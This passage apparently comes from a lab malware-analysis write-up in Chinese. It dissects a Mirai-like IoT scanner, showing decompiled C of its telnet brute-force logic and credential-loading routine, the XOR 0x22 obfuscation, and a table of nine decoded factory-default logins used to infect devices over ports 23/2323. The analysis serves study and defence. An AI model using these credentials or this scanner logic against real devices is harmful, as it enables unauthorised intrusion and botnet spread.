    break;
case SC_WAITING_TOKEN_RESP:
    consumed = consume_resp_prompt(conn);
    if (consumed == -1) {
        close(conn->fd);
        conn->fd = -1;
        conn->tries = conn->tries + '\x01';
        if (conn->tries == '\n') {
            conn->tries = '\0';
            conn->state = IPPROTO_IP;
        }
        else {
            setup_connection(conn);
        }
    }
    else if (0 < consumed) {
        report_working(conn->dst_addr, conn->dst_port, conn->auth);
        close(conn->fd);
        conn->fd = -1;
        conn->state = IPPROTO_IP;
    }
    break;
default:
    consumed = 0;
}
if (consumed == 0) break;
if (conn->rdbuf_pos < consumed) {
    consumed = conn->rdbuf_pos;
}

```

```

        conn->rdbuf_pos = conn->rdbuf_pos - consumed;
        memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
    }
}
}
}
LAB_000225fc:
}
goto LAB_00021500;
}

```

其中:

```

for (i = 0; (uint)i < 9; i = i + 1) {
    add_auth_entry(LAB_SCAN_AUTH_TABLE[i].enc_user, LAB_SCAN_AUTH_TABLE[i].enc_pass,
                  LAB_SCAN_AUTH_TABLE[i].weight);
}

```

再细看add_auth_entry:

```

1
2 void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
3
4 {
5     uint16_t uVar1;
6     char *pcVar2;
7     int iVar3;
8     scanner_auth *psVar4;
9     uint16_t weight_local;
10    char *enc_pass_local;
11    char *enc_user_local;
12    int tmp;
13    int local_14;
14
15    local_14 = 0;
16    auth_table = (scanner_auth *)realloc(auth_table, (auth_table_len + 1) * 0x10);
17    psVar4 = auth_table + auth_table_len;
18    pcVar2 = deobf(enc_user, &tmp);
19    psVar4->username = pcVar2;
20    auth_table[auth_table_len].username_len = (uint8_t)tmp;
21    psVar4 = auth_table;
22    iVar3 = auth_table_len;
23    pcVar2 = deobf(enc_pass, &tmp);
24    psVar4[iVar3].password = pcVar2;
25    auth_table[auth_table_len].password_len = (uint8_t)tmp;
26    auth_table[auth_table_len].weight_min = auth_table_max_weight;
27    uVar1 = auth_table_max_weight;
28    iVar3 = auth_table_len + 1;
29    psVar4 = auth_table + auth_table_len;
30    auth_table_len = iVar3;
31    psVar4->weight_max = auth_table_max_weight + weight;
32    auth_table_max_weight = auth_table_max_weight + weight;
33    if (local_14 != 0) {
34        /* WARNING: Subroutine does not return */
35        __stack_chk_fail(iVar3, uVar1, local_14, 0);
36    }
37    return;
38 }

```

add_auth_entry(user, pass, weight) 装载弱口令字典。字典字符串以 XOR 0x22 混淆存储，运行时解混淆为明文。

静态解出的 9 组凭据如下:

用户名	口令	说明
root	xc3511	大华(Dahua)摄像头默认

用户名	口令	说明
root	realtek	Realtek SDK 默认
root	root	通用默认
root	system	通用默认
root	pass	通用默认
root	default	通用默认
admin	12345	路由器/摄像头默认
service	service	IoT 服务账户
support	support	IoT 维护账户

双重验证： 静态（XOR 0x22 解码）与动态（Task1.3 telnet 蜜罐捕获的 BRUTE 记录）**完全一致**，可信度高。
scanner 用这 9 组 IoT 出厂默认口令对 telnet（23/2323）进行暴力爆破，破解成功后即可投递并感染新设备。